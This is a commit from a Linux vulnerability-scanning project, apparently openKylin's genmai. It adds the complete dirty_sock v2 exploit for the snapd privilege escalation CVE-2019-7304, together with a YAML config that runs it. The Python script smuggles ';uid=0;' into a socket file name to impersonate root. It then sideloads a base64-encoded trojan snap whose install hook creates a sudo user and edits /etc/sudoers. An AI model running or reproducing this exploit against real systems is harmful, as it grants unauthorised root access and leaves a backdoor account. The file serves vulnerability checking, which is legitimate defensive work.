mirror of https://gitee.com/openkylin/genmai.git
!240 添加CVE-2019-7304漏洞
Merge pull request !240 from fengshw/Feat_CVE_2019_7304
This commit is contained in:
commit
2346bec1bf
|
@ -0,0 +1,246 @@
|
|||
#!/usr/bin/env python3
|
||||
|
||||
"""
|
||||
Local privilege escalation via snapd, affecting Ubuntu and others.
|
||||
|
||||
v2 of dirty_sock leverages the /v2/snaps API to sideload an empty snap
|
||||
with an install hook that creates a new user.
|
||||
|
||||
v1 is recommended is most situations as it is less intrusive.
|
||||
|
||||
Simply run as is, no arguments, no requirements. If the exploit is successful,
|
||||
the system will have a new user with sudo permissions as follows:
|
||||
username: dirty_sock
|
||||
password: dirty_sock
|
||||
|
||||
You can execute su dirty_sock when the exploit is complete. See the github page
|
||||
for troubleshooting.
|
||||
|
||||
Research and POC by initstring (https://github.com/initstring/dirty_sock)
|
||||
"""
|
||||
|
||||
import string
|
||||
import random
|
||||
import socket
|
||||
import base64
|
||||
import time
|
||||
import sys
|
||||
import os
|
||||
|
||||
BANNER = r'''
|
||||
___ _ ____ ___ _ _ ____ ____ ____ _ _
|
||||
| \ | |__/ | \_/ [__ | | | |_/
|
||||
|__/ | | \ | | ___ ___] |__| |___ | \_
|
||||
(version 2)
|
||||
|
||||
//=========[]==========================================\\
|
||||
|| R&D || initstring (@init_string) ||
|
||||
|| Source || https://github.com/initstring/dirty_sock ||
|
||||
|| Details || https://initblog.com/2019/dirty-sock ||
|
||||
\\=========[]==========================================//
|
||||
|
||||
'''
|
||||
|
||||
|
||||
# The following global is a base64 encoded string representing an installable
|
||||
# snap package. The snap itself is empty and has no functionality. It does,
|
||||
# however, have a bash-script in the install hook that will create a new user.
|
||||
# For full details, read the blog linked on the github page above.
|
||||
TROJAN_SNAP = ('''
|
||||
aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
|
||||
/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
|
||||
ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
|
||||
TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
|
||||
T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
|
||||
Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
|
||||
ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
|
||||
ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
|
||||
L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
|
||||
b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
|
||||
rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
|
||||
rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
|
||||
AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
|
||||
XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
|
||||
RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
|
||||
AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''
|
||||
+ 'A' * 4256 + '==')
|
||||
|
||||
def check_args():
|
||||
"""Return short help if any args given"""
|
||||
if len(sys.argv) > 1:
|
||||
print("\n\n"
|
||||
"No arguments needed for this version. Simply run and enjoy."
|
||||
"\n\n")
|
||||
sys.exit()
|
||||
|
||||
def create_sockfile():
|
||||
"""Generates a random socket file name to use"""
|
||||
alphabet = string.ascii_lowercase
|
||||
random_string = ''.join(random.choice(alphabet) for i in range(10))
|
||||
dirty_sock = ';uid=0;'
|
||||
|
||||
# This is where we slip on the dirty sock. This makes its way into the
|
||||
# UNIX AF_SOCKET's peer data, which is parsed in an insecure fashion
|
||||
# by snapd's ucrednet.go file, allowing us to overwrite the UID variable.
|
||||
sockfile = '/tmp/' + random_string + dirty_sock
|
||||
|
||||
print("[+] Slipped dirty sock on random socket file: " + sockfile)
|
||||
|
||||
return sockfile
|
||||
|
||||
def bind_sock(sockfile):
|
||||
"""Binds to a local file"""
|
||||
# This exploit only works if we also BIND to the socket after creating
|
||||
# it, as we need to inject the dirty sock as a remote peer in the
|
||||
# socket's ancillary data.
|
||||
print("[+] Binding to socket file...")
|
||||
client_sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
|
||||
client_sock.bind(sockfile)
|
||||
|
||||
# Connect to the snap daemon
|
||||
print("[+] Connecting to snapd API...")
|
||||
client_sock.connect('/run/snapd.socket')
|
||||
|
||||
return client_sock
|
||||
|
||||
def delete_snap(client_sock):
|
||||
"""Deletes the trojan snap, if installed"""
|
||||
post_payload = ('{"action": "remove",'
|
||||
' "snaps": ["dirty-sock"]}')
|
||||
http_req = ('POST /v2/snaps HTTP/1.1\r\n'
|
||||
'Host: localhost\r\n'
|
||||
'Content-Type: application/json\r\n'
|
||||
'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n'
|
||||
+ post_payload)
|
||||
|
||||
# Send our payload to the snap API
|
||||
print("[+] Deleting trojan snap (and sleeping 5 seconds)...")
|
||||
client_sock.sendall(http_req.encode("utf-8"))
|
||||
|
||||
# Receive the data and extract the JSON
|
||||
http_reply = client_sock.recv(8192).decode("utf-8")
|
||||
|
||||
# Exit on probably-not-vulnerable
|
||||
if '"status":"Unauthorized"' in http_reply:
|
||||
print("[!] System may not be vulnerable, here is the API reply:\n\n")
|
||||
print(http_reply)
|
||||
sys.exit()
|
||||
|
||||
# Exit on failure
|
||||
if 'status-code":202' not in http_reply:
|
||||
print("[!] Did not work, here is the API reply:\n\n")
|
||||
print(http_reply)
|
||||
sys.exit()
|
||||
|
||||
# We sleep to allow the API command to complete, otherwise the install
|
||||
# may fail.
|
||||
time.sleep(5)
|
||||
|
||||
def install_snap(client_sock):
|
||||
"""Sideloads the trojan snap"""
|
||||
|
||||
# Decode the base64 from above back into bytes
|
||||
blob = base64.b64decode(TROJAN_SNAP)
|
||||
|
||||
# Configure the multi-part form upload boundary here:
|
||||
boundary = '------------------------f8c156143a1caf97'
|
||||
|
||||
# Construct the POST payload for the /v2/snap API, per the instructions
|
||||
# here: https://github.com/snapcore/snapd/wiki/REST-API
|
||||
# This follows the 'sideloading' process.
|
||||
post_payload = '''
|
||||
--------------------------f8c156143a1caf97
|
||||
Content-Disposition: form-data; name="devmode"
|
||||
|
||||
true
|
||||
--------------------------f8c156143a1caf97
|
||||
Content-Disposition: form-data; name="snap"; filename="snap.snap"
|
||||
Content-Type: application/octet-stream
|
||||
|
||||
''' + blob.decode('latin-1') + '''
|
||||
--------------------------f8c156143a1caf97--'''
|
||||
|
||||
|
||||
# Multi-part forum uploads are weird. First, we post the headers
|
||||
# and wait for an HTTP 100 reply. THEN we can send the payload.
|
||||
http_req1 = ('POST /v2/snaps HTTP/1.1\r\n'
|
||||
'Host: localhost\r\n'
|
||||
'Content-Type: multipart/form-data; boundary='
|
||||
+ boundary + '\r\n'
|
||||
'Expect: 100-continue\r\n'
|
||||
'Content-Length: ' + str(len(post_payload)) + '\r\n\r\n')
|
||||
|
||||
# Send the headers to the snap API
|
||||
print("[+] Installing the trojan snap (and sleeping 8 seconds)...")
|
||||
client_sock.sendall(http_req1.encode("utf-8"))
|
||||
|
||||
# Receive the initial HTTP/1.1 100 Continue reply
|
||||
http_reply = client_sock.recv(8192).decode("utf-8")
|
||||
|
||||
if 'HTTP/1.1 100 Continue' not in http_reply:
|
||||
print("[!] Error starting POST conversation, here is the reply:\n\n")
|
||||
print(http_reply)
|
||||
sys.exit()
|
||||
|
||||
# Now we can send the payload
|
||||
http_req2 = post_payload
|
||||
client_sock.sendall(http_req2.encode("latin-1"))
|
||||
|
||||
# Receive the data and extract the JSON
|
||||
http_reply = client_sock.recv(8192).decode("utf-8")
|
||||
|
||||
# Exit on failure
|
||||
if 'status-code":202' not in http_reply:
|
||||
print("[!] Did not work, here is the API reply:\n\n")
|
||||
print(http_reply)
|
||||
sys.exit()
|
||||
|
||||
# Sleep to allow time for the snap to install correctly. Otherwise,
|
||||
# The uninstall that follows will fail, leaving unnecessary traces
|
||||
# on the machine.
|
||||
time.sleep(8)
|
||||
|
||||
def print_success():
|
||||
"""Prints a success message if we've made it this far"""
|
||||
print("\n\n")
|
||||
print("********************")
|
||||
print("Success! You can now `su` to the following account and use sudo:")
|
||||
print(" username: dirty_sock")
|
||||
print(" password: dirty_sock")
|
||||
print("********************")
|
||||
print("\n\n")
|
||||
|
||||
|
||||
def main():
|
||||
"""Main program function"""
|
||||
|
||||
# Gotta have a banner...
|
||||
print(BANNER)
|
||||
|
||||
# Check for any args (none needed)
|
||||
check_args()
|
||||
|
||||
# Create a random name for the dirty socket file
|
||||
sockfile = create_sockfile()
|
||||
|
||||
# Bind the dirty socket to the snapdapi
|
||||
client_sock = bind_sock(sockfile)
|
||||
|
||||
# Delete trojan snap, in case there was a previous install attempt
|
||||
delete_snap(client_sock)
|
||||
|
||||
# Install the trojan snap, which has an install hook that creates a user
|
||||
install_snap(client_sock)
|
||||
|
||||
# Delete the trojan snap
|
||||
delete_snap(client_sock)
|
||||
|
||||
# Remove the dirty socket file
|
||||
os.remove(sockfile)
|
||||
|
||||
# Congratulate the lucky hacker
|
||||
print_success()
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
|
@ -0,0 +1,52 @@
|
|||
FormatVer: 20190423
|
||||
Id: CVE-2019-7304
|
||||
Belong: system
|
||||
PocHazardLevel: critical
|
||||
Source: https://github.com/initstring/dirty_sock
|
||||
SiteInfo:
|
||||
Name: snap是一个Linux系统上的包管理软件。在Ubuntu18.04后默认预安装到了系统中。
|
||||
Severity: critical
|
||||
Description:
|
||||
snapd 2.28到2.37错误地验证并解析了远程套接字在UNIX套接字上执行访问控制时的地址。一个本地攻击者可以使用它来访问特权套接字API并获得管理员特权。
|
||||
ScopeOfInfluence:
|
||||
Snapd < 2.37.1
|
||||
Ubuntu_linux 14.04 LTS
|
||||
Ubuntu_linux 16.04 LTS
|
||||
Ubuntu_linux 18.04 LTS
|
||||
Ubuntu_linux 18.10
|
||||
References:
|
||||
- https://usn.ubuntu.com/3887-1/
|
||||
- https://www.exploit-db.com/exploits/46361
|
||||
- https://www.exploit-db.com/exploits/46362
|
||||
SiteClassification:
|
||||
CvssMetrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
||||
CvssScore: 9.8
|
||||
CveId: CVE-2019-7304
|
||||
CweId: CWE-863
|
||||
CnvdId: None
|
||||
KveId: None
|
||||
Tags:
|
||||
- 授权机制不正确
|
||||
- snapd提权
|
||||
SiteRequests:
|
||||
Implement:
|
||||
ImArray:
|
||||
- Inter : python3
|
||||
InterArgs :
|
||||
Exec : CVE-2019-7304.py
|
||||
Args : None
|
||||
ExpireTime:
|
||||
|
||||
# < input
|
||||
# > output
|
||||
# . wait
|
||||
# ? condition
|
||||
# : content
|
||||
#
|
||||
#组合起来
|
||||
# >. 等待直到输出
|
||||
# << 输入字符
|
||||
# >?判断条件
|
||||
Inter:
|
||||
- ">?:********************\nSuccess! You can now `su` to the following account and use sudo:\n username: dirty_sock\n password: dirty_sock\n********************\n\n" #ture
|
||||
Condition: None
|
|
@ -26,4 +26,5 @@ ExplorerItems:
|
|||
- ConfigFile: CVE-2022-0729/CVE-2022-0729.yaml
|
||||
- ConfigFile: CVE-2022-1771/CVE-2022-1771.yaml
|
||||
- ConfigFile: CVE-2022-2598/CVE-2022-2598.yaml
|
||||
# - ConfigFile: CVE-2022-2274/CVE-2022-2274.yaml //需要CPU-AVX512IFMA才能认证
|
||||
# - ConfigFile: CVE-2022-2274/CVE-2022-2274.yaml //需要CPU-AVX512IFMA才能认证
|
||||
- ConfigFile: CVE-2019-7304/CVE-2019-7304.yaml
|
Loading…
Reference in New Issue